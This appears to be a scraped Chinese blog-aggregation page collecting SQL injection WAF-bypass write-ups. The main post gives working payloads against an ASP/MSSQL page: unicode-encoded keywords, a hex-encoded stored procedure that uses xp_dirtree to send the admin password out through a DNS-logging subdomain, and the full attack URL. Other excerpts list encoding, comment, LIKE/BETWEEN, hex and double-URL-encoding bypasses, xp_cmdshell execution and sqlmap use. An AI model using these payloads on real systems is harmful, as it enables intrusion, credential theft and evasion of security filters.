精华内容
下载资源
问答
  • 待续

    待续

    展开全文
  • 既然主机卫士我们可以利用超长的文件名去绕过上传(类似于二进制的溢出),那我们在这里是不是也可以通过提交超长的url去绕过他的get检查呢?想到就去做。 实验过程: M ssql有注释语句,无论多长都不会影响到语句...

    本文作者:非主流

    测试文件的源码如下:

    图片1.png

    我们先直接加上单引号试试:

    http://192.168.0.20/conn.asp?id=1%27

    图片2.png

    很好,没有报错。那我们继续,and 1=1 和and 1=2,被拦截了。这个时候,我们可以看看到底是什么规则,发现每一个单独提交都不被拦截,组合到一起便被拦截了,好,那我们变通一下,用+代替空格

    图片3.png

    不再被拦截,Gogogo。

    http://192.168.0.20/conn.asp?id=1+and+1=@@version 看看当前数据库的版本

    图片4.png

    http://192.168.0.20/conn.asp?id=1+and+1=user  查看当前连接数据库的用户

    图片5.png

    http://192.168.0.20/conn.asp?id=1+and+1=db_name() 查看当前连接的数据库

    图片6.png

    但是,当我们想查看有多少数据库的时候,发现被拦截了。怎么办?绕!

    图片7.png

    http://192.168.0.20/conn.asp?id=1+and+(SELECT+top+1+Name+FROM+Master..SysDatabases)

    但是怎么绕呢。。依次测试吧,从左至右,开始依次加sql注入的关键字,发现

    图片8.png

    下表仅显示被拦截项目

    关键字andselecttopnamefrommaster.()
    and   X              
    select         X        
    Top                  
    Name                  
    from                  
    master                  
    .                  
    (                  

    可以看出,两个关键字的时候,只拦截select,那么我们试试三个关键字(无select)的时候,主机卫士会拦截什么?发现什么都不拦截,只会报语法错误。。。

    由此,我们得出一个结论,主机卫士一定会拦截select关键字,那么问题来了,他只拦截select吗?SeLeCt呢?经过不完全测试,发现当我们将select字符unicode编码后,不拦截

    http://192.168.0.20/conn.asp?id=1+and+%u0073%u0065%u006c%u0065%u0063%u0074

    图片9.png

    但是,当我们尝试一次添加三个关键字的时候,主机卫士又拦截了(好累)。

    http://192.168.0.20/conn.asp?id=1+and+(%u0073%u0065%u006c%u0065%u0063%u0074+top

    图片10.png

    那么我们来试试存储过程呢?

    Mssql的存储过程定义如下:

    Declare @s varchar(5000)  //申明变量@s 类型为varchar(5000)

    Set @  //给@s变量赋值

    Exec(@s) //执行@s

    那么,我们就需要试着在url中提交declare、set和exec,看看是否被拦截。

    图片11.png

    很好,没有被拦截,只是提示语法错误,那就证明我们可以利用存储过程去绕过主机卫士!

    我写了一个存储过程,内容如下(红色字体是需要另外修改的):

    declare @s varchar(5000),@host varchar(5000)

    set @s=(select password from waf_test.dbo.admin where username=’admin’)

    set@host=CONVERT(varchar(5000),@s)+’.xxxx.ceye.io’;EXEC(‘master..xp_dirtre

    e”\\’+@host+’\foobar$”‘)

    我将这个存储过程转化成16进制(hex)

    0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729

    所以最终我们的请求是:

    http://192.168.0.124/conn.asp?id=1;declare+@h+varchar(5000)+set+@h=0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729+exec(@h)

    登陆dnslog,可以看到接收到了123456的子域名请求,这里的123456便是我在mssql数据库中admin账户的密码。

    图片12.png

    当然有了方法一就自然会有方法二,不妨开一下我们的脑洞。既然主机卫士我们可以利用超长的文件名去绕过上传(类似于二进制的溢出),那我们在这里是不是也可以通过提交超长的url去绕过他的get检查呢?想到就去做。

    实验过程:

    Mssql有注释语句,无论多长都不会影响到语句的执行,那么,我们试试

    在select前面添加一个注释,内容非常多的1

    图片13.png

    咦,这是什么鬼???

    会不会是主机卫士找到关键字后,在一定的位数之内找其他关键字,如果有便返回999,如果没有就继续执行呢?那我试试用注释把select孤立起来。

    图片14.png

    发现bypass,很开心哦。

    转载于:https://www.cnblogs.com/ichunqiu/p/7443960.html

    展开全文
  • 前言在很多情况下,我们好不容易发现了可能注入注入点,但是却由于各种...普通的WEB站点的绕过(1)使用编码技术通过URLEncode编码、ASCII编码绕过。例如:or 1=1 即:%6f%72%20%31%3d%31,而Test也可以为CHAR(101...

    前言

    在很多情况下,我们好不容易发现了可能注入的注入点,但是却由于各种的过滤机制使得我们的注入语句无法执行,这使得我们最后无法拿下网站的administrator权限,本小节我们就讲解一些绕过各种防注入过滤措施的方法!

    普通的WEB站点的绕过

    (1)使用编码技术

    通过URLEncode编码、ASCII编码绕过。例如:or 1=1 即:%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

    (2)使用空格绕过

    可以通过使用两个空格来替代一个空格用Tab来替代空格等,或者删除所有空格如or' swords' =‘swords' ,由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行。 

    (3)运用字符串判断代替 
    用经典的or 1=1判断绕过,如or 'swords' ='swords',这个方法就是网上在讨论的。 
    (4)通过类型转换修饰符N绕过 

    可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or 'swords' = N' swords' ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 

    (5)通过+号拆解字符串绕过 

    效果值得考证,但毕竟是一种方法。如 or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..' ) 

    (6)通过LIKE绕过 

    以前怎么就没想到呢?如or 'swords' LIKE 'sw'!!!显然可以很轻松的绕过“=”“>”的限制…… 

    (7)通过IN绕过 

    与上面的LIKE的思路差不多,如or 'swords' IN ('swords') 

    (8)通过BETWEEN绕过 

    如or 'swords' BETWEEN 'rw' AND 'tw' 

    (9)通过>或者<绕过 

     or 'swords' > 'sw' 
    
      or 'swords' < 'tw' 
    
      or 1<3 
    
      …… 
    (10)运用注释语句绕过 

      用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser 

      用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 

    (11)用HEX绕过,一般的IDS都无法检测出来 

      0x730079007300610064006D0069006E00 =hex(sysadmin) 

      0x640062005F006F0077006E0065007200 =hex(db_owner) 

      另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 

      declare @a sysname 

      select @a= 

      exec master.dbo.xp_cmdshell @a 
    展开全文
  • 01 背景知识一、为什么要进行URL编码通常如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,编码主要是为了避免引发歧义与混乱。例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对...

    01 背景知识

    一、为什么要进行URL编码

    通常如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,编码主要是为了避免引发歧义与混乱。

    例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如/?name=abc&pwd=123如果你的value字符串中包含了=或者&,那么势必会造成接收Url的服务器解析错误,因此必须将引起歧义的&和= 符号进行转义,也就是对其进行编码。

    对于URL编码的深入研究可以参看下面这些内容:

    为什么要进行URL编码

    深入分析 web 请求响应中的编码问题

    二、URL传输过程中的编码问题

    HTTP请求过程经历的几个环节:

    浏览器【get/post】①========>服务器②========>浏览器显示③

    ①:浏览器会把URL经过编码后发送给服务器,不同的浏览器对URL的编码规则不同。对于GET方式提交的数据,浏览器会自动进行URL编码;对于POST方式提交的数据,其编码方式可以由开发者进行指定。

    ②:服务器根据其自身的配置文件对URL进行解码(解码成Unicode),然后将显示内容编码。

    ③:浏览器按照指定的编码显示该网页。

    此外,在客户端也就是浏览器上运行的前端程序也会根据Web服务的需要对要传输的数据进行一些编码操作,而在服务端除了服务器中间件会自动对URL进行解码,后端的Web程序会对前端进行编码的数据进行解码操作。

    02 二次编码注入

    下面这幅图片很好地解释了二次编码注入的原理(图片来源为网易Web安全工程师课程,侵删):

    10aacb05078b5221cfb28c6e294c89e9.png

    二次编码注入

    从中我们也可以得知,二次编码注入产生的原因是:

    后端程序的编码函数,如urldecode()等,与PHP本身处理编码时,两者配合失误,使得攻击者可以构造数据消灭\

    看一下实例代码:

    //用GET方式获取id值,并对其中的特殊字符进行转义

    $id = mysql_real_escap_string($_GET['id']);

    //使用urldecode()函数进行解码

    $id = urldecode($id);

    $sql = "SELECT * FROM usres WHERE id = '$id' LIMIT 0,1;

    $result = mysql_query($sql);

    $row = mysql_fetch_array($result);

    上面的代码就是一个二次注入的典型场景,这时如果我们提交:

    http://127.0.0.1/sql.php?id=1%2527

    就可以绕过对'的转义,进行SQL注入攻击。

    在测试时,如果发现了页面可能存在二次编码注入漏洞,也可以使用sqlmap进行自动化攻击

    //只需在注入点后键入%2527即可

    python sqlmap.py -u "http://127.0.0.1/sql.php?id=1%2527"

    分享一个二次编码注入的漏洞实例

    展开全文
  • 这几天的CTF题中有好几道题都是sql注入的...0x01、手工注入绕过1、大小写混合例如:uNIoN sELecT 1,2,3,4只适用于针对大小写关键字的匹配2、替换关键字例如:UNIunionON SELselectECT 1,2,3,43、使用编码URL编码如:...
  • 编码绕过,如URLEncode编码,ASCII,HEX,unicode编码绕过or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)...
  • SQL注入绕过

    2019-10-18 12:27:43
    注释符号绕过 大小写绕过 ...编码绕过 <>绕过 对空格的绕过 对or/and的绕过 对等号=的绕过 对单引号的绕过 对逗号的绕过 过滤函数绕过 ...
  • 一、宽字节注入1、什么是宽字节GB2312、GBK、GB18030、BIG5等这些都是常说的宽字节,实际为两字节2、宽字节注入原理防御:将 ' 转换为 \'绕过:将 \ 消灭mysql在使用GBK编码的时候,会认为两个字符为一个汉字\ 编码...
  • 参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313https://www.cnblogs.com/vincy99/p/9642882.html目录:大小写绕过双写绕过内联注释绕过编码绕过<>绕过注释符绕过对空格的绕过对or/...
  • 01 背景知识字符集在了解宽字节注入之前,我们先来看一看字符集是什么。字符集也叫字符编码,是一种将符号转换为二进制数的映射关系。几种常见的字符集:ASCII编码:单字节编码latin1编码:单字节编码gbk编码:使用...
  • http://www.gzidc.org/search/post 的数据:keyword=a如果单纯的在搜索框中输入:select , union,detele,' 那么就会被waf阻拦页面会显示:非法字符如果用双重编码的url替换注入语句那么,waf就不会拦截下面我写了一...
  • SQL注入绕过技术

    2020-09-19 21:27:05
    3 编码绕过技术 4 内联注释绕过注入 5 SQL注入修复建议 5.1 过滤危险字符 5.2 使用预编译语句 1 大小写绕过技术 访问id=1',发现页面报出MySQL错误,当访问id=1 and 1=1时,页面返回"no hack",显然是被拦截了...
  • 绕过注入

    2011-04-06 23:29:00
    1、运用编码技术绕过如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。2、通过空格绕过如两个空格代替一个空格,用Tab代替空格等,或者...
  • 如何绕过注入

    2011-12-20 09:01:05
    如URLEncode编码,ASCII编码绕过。 例如or 1=1即 %6f%72%20%31%3d%31 而Test也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) 2、通过空格绕过 如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,...
  • SQL注入防御绕过——二次编码 01 背景知识 一、为什么要进行URL编码 通常如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,编码主要是为了避免引发歧义与混乱。例如,URL参数字符串中使用key...
  • 检测目标网站****时,利用下图所示的unicode编码方式中的空格编码绕过检测。 在使用order by **进行注入判断时,使用%c0%20、%c0%a0这两种空格的编码对网站进行注入均无果(对网站没影响),而使用%e0%80%a0绕过方法会...
  • SQL注入绕过大小写绕过根据应用程序的过滤规则,通常会对恶意关键字设置黑名单,如果存在恶意关键字,应用程序就会退出运行。但在过滤规则中可能存在过滤不完整或只过滤小写或大小的情况,没有针对大小写组合进行...
  • SQL注入绕过手法

    2020-12-22 22:14:02
    SQL注入绕过手法 概述 用preg_match()函数来匹配一些危险字符 注意://模式分隔符后的"i"标记...可以使用宽字节绕过,但是宽字节注入仅适用于GBK编码Demo:?id=1%df’ 这个时候加上\(编码为%5c)就变成id=1%df%5c’
  • 2.简单编码绕过比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55也就是U的16进制编码来代替U,union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以...
  • SQL注入WAF绕过

    2021-02-05 18:36:34
    SQL注入绕过WAF的本质:既保证语句的正常运行结果,又防止WAF软件的正常匹配来实现绕过 1.更改提交方式 例如把GET提交方式更改为POST提交方式 局限性:网页的提交方式必须为...4.编码绕过 例如:-1 union select 1,2,3
  • 几种方法绕过注入

    千次阅读 2012-11-20 15:08:09
    几种方法绕过防注入 当阿D和明小子派不上用场时,当你遇到有防注入程序的网站时,当你为次彷徨时,你是否想起运用手工绕过防注入的方法来拿站呢,不管成功与否,这...如URLEncode编码,ASCII编码绕过。 例如or 1=1即
  • Mysql注入绕过姿势

    2019-10-04 15:38:25
    2.编码绕过,如URLEncode编码,ASCII,HEX,unicode编码绕过 or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 十六进制编码 SELECT(extractvalue(0x3C613E61646D696E3C...
  • SQL注入检测绕过

    2019-09-20 16:22:23
    2.编码绕过 同样假设WAF检测关键字union,可以用U的16进制编码%55来代替U,组合成%55nion来尝试绕过。结合大小写也可以绕过WAF。 3.注释绕过 适用于WAF只阻断一次危险语句,而没有阻断整个查询。 我们可以在过滤...
  • 1.空格过滤绕过可用/**/制表符(url编码为%09)换行符(%0a)括号反引号 代替空格mysql数据库有一个特性。在条件语句中,在 where id =1 后面加上 “=1”,成为where id =1 =1 ,就是对前面所有结果&1,查询的结果与...
  • 01 背景知识一、为什么要进行URL编码通常如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,编码主要是为了避免引发歧义与混乱。例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对...

空空如也

空空如也

1 2 3 4 5 ... 14
收藏数 274
精华内容 109
关键字:

编码绕过注入